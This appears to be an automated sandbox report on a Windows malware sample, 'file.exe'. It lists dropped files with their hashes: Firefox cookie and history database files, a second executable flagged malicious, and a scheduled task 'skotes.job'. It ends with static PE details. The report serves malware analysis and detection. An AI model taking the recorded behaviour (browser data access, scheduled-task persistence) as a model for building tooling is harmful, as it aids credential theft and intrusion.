.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.996266842729479
Encrypted:	false
SSDEEP:	48:8wdATEVHSidAKZdA1404eh7sFiZUkmgqeh7s9kJy+BX:8jQqInjYy
MD5:	4C6B987E231106808F0453CFC0F34960
SHA1:	09951A3D32672186D1C66A72726C35D51143F7E0
SHA-256:	70C22A1879B734484D9A6EFD47D091D6F1F37A5CA87A74F2ABB8C7800AF330E9
SHA-512:	DFEA3EF4847896FB18B3A3846A7FED86A2115B6E8582814914286CBC8AF4E631AE8CFA5E69DD7A27C6906F4E196993CFB32FCBEDA8B3AEB369A3DE8E36CD5E4E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 14:50:34 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9841030642809283
Encrypted:	false
SSDEEP:	48:8HHdATE2GHSidAKZdA1p4ehDiZUkwqehLkJy+R:8HmQU5lYy
MD5:	21C4D09238776A7B8FE62246E23D2215
SHA1:	AABE038B74CD7D505CFA5967E1EAE6D7CE5D71A2
SHA-256:	705B4892D3330AC8CD9747630A7D7C659DB0C5FE81E15BBDB5F49704C1E1C542
SHA-512:	E44DDF9870CB0AAF543B8DBD92A85F3BF2CA8146E0214BEF93B14DBE11AAB9CB161274D750220E953637CD88F83D55E0329F29B84EB690EC9B5A6605F480E064
Malicious:	false
Preview:	L..................F.@.. ...$+.,........c;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtYR~...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 14:50:35 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9701794240689354
Encrypted:	false
SSDEEP:	48:8xdATE2GHSidAKZdA1X4ehBiZUk1W1qehRkJy+C:80Q6b9xYy
MD5:	5DCF1EB41B3F744C3E2ED74F45A36E58
SHA1:	E03ED6BB0E57572387B5AA6E1D24A32C12FDD677
SHA-256:	673EDD0AEB5C87F4697D8BD7BF22F2D6C7BBDEAC07C425188760935FE88A50BD
SHA-512:	DC12B74E4D1583A59FF9700F5D0678FB02EB751543D21AA0BC1B31FB99B1F76E032C95B7D4909A30B4365981111D0C00727D7D34A1730E07F2564A6D098C6D27
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....-..c;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtYR~...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 14:50:34 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9792645893865326
Encrypted:	false
SSDEEP:	48:8o3dATE2GHSidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbjkJy+yT+:8oWQPTcJTbxWOvTbjYy7T
MD5:	F4F809F8BA73473EC6B40C0A44388FBF
SHA1:	479DD6D001C5EF827556199F5ECC48554F2C25E0
SHA-256:	44258876AC16A1237715DA4D30A12723038FD16E6A408E5E05006A7470E4EDAF
SHA-512:	8E39D7271F98B5E75BF88EB7799AD99317F259102C16E89B66583AD1647CE4BDCCC1E787150C97BC0D291AA2E81B9E027A5B1276510809F716C3B041110F2F62
Malicious:	false
Preview:	L..................F.@.. ...$+.,........c;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtYR~...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKKJKFBKKEC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1929216
Entropy (8bit):	7.949899796373039
Encrypted:	false
SSDEEP:	49152:JpqV4uD6HKqZp75N0/uDZKxKGphy38i9j/c4:JpqFEfZpNN0EZIp43xNc4
MD5:	D349980D19605CCCFB15081F93C9DB31
SHA1:	B9110F209ABC6D452F13E955592DF37A1E30DB24
SHA-256:	BA7B2F6E55A0B6B2AA5C2528E623CE40090C78E3BE8D30D4A07F9C8CA483AE94
SHA-512:	A3C8D876D1DF6983D53B91E4FE3D0A2164A46CB24C7121F8F50C1E8565093A17B45EF482FFD6CB89EED435CF118E6482DEBC8C2E7BB610F227C226093184E8BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L...........@.................................W...k.......H....................PL..............................PL..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .P+.........................@...ahejieaj.`....2..R..................@...yokqpkiv.....`L......J..............@....taggant.0...pL.."...N..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKKJKFBKKEC.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.375124127254189
Encrypted:	false
SSDEEP:	6:ZzW/VXFMsUEZ+lX1CGdKUe6tFYSoQI/uy0lBxl/mut0:ZzWZFMsQ1CGAFVQI/uVBj/vt0
MD5:	1363B12DCF4739D9593B24445E684678
SHA1:	D37137926F24A3324FB9F7EAD00A2BB113F9FB3B
SHA-256:	8530F4262A1A61B09B714348877BA93D98BA4BBD60E5B312831C650D2AA2EB57
SHA-512:	7AFDCA1EB71C3C76B37CDF90B03E3759333A7747DDA1F45C53615F6964F10F35743542601BFDAB2A86DD09B0B2A46EA8FED57A11B80A965FF3AA93E232E06291
Malicious:	false
Preview:	.....i.p.&.K.,e...+.F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0.................4.@3P.........................

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3929)
Category:	downloaded
Size (bytes):	3934
Entropy (8bit):	5.831693570423803
Encrypted:	false
SSDEEP:	96:/li4UnIN6666Ve9BvL1PJT7OJZzfPL7ti0VbQ9uVfffQfo:dIIN6666Ve71hTIzfP30QbQ9a
MD5:	C68A4937DD165A52118702853C7D8794
SHA1:	9520435A3B858DBD6E43280720CB10E28FE7DDFE
SHA-256:	3B2CFA41F386712E575DD64A1A20E67055F687176B902DD9B44C053FB727DA3D
SHA-512:	0C0E584F3F5372214EE47F5E21EA41B5D252E48D19DB22A83B79F70B071A62E708E695FADCDBF5C0A1D9F56983AFDD7C84DB3DFCCCD97F7E1E21086BD7987538
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["pentagon aliens ocean","chill guy coins","to train your dragon live action trailer","apple ios 18.1 1 update","boston bruins coach jim montgomery","pink tote mom tiktok","cyber attack","kith x batman collection"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wMnFtal8wEixKaW0gTW9udGdvbWVyeSDigJQgQ2FuYWRpYW4gaWNlIGhvY2tleSBjb2FjaDLjEGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUFEQVFFQkFRQUFBQUFBQUFBQUFBQUZCZ2NFQXdJQS84UUFOUkFBQWdFREFnTUZCZ1VFQXdBQUFBQUFBUUlEQkFVUkFDRVNNVUVHRTFGaGNSUV

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132989
Entropy (8bit):	5.435280035705979
Encrypted:	false
SSDEEP:	3072:f6kXyPqO7UX1Hme9kZbs4Voc55SnXqwQ2i6o:f9yWFHrp4Voc55SnawQ8o
MD5:	A7A329EC2106BD363D118F08435F3A6E
SHA1:	2D4BD086A9EBF82A617A347117434523F73DCDBA
SHA-256:	5D692FE94EA1E92C5AF74951927A8EDE81BFEB7866806376E704EC76408C2126
SHA-512:	481EB8A79C7E55583A3C0BD49DBE0E62615DD405BF6B183DBF29F5343E63154C1D746C3600D0E95BDB7A274A913229920975F78C7B805F7CED0B2C071B5573FA
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9452953753520665
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'853'440 bytes
MD5:	484a61fde611c70fb8c839df92cf985e
SHA1:	5d9560536a1b329eaa5b36381536f1082c0ff6da
SHA256:	29782f0ac19c69804afcfbb6186c7729cf956e9f13ea337537c777f532699598
SHA512:	ca912e4234abe6810e74285aea635a132d30462f6d3894fc64a81ea7e8c23b47d499b450d4cad7c723ffe742db669a4ec1916534d58a0ba6340cbff080e60eb9
SSDEEP:	49152:jaYz50DSURgiEQmRL6WyVrGJGI84OJv919:Z8giP0yVCJMv9
TLSH:	5F8533189F316B06D7C9DB358243E38286B3616411E655DCE0BB5931A34B3DAE4EBD0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaf000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2F510B2E9Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
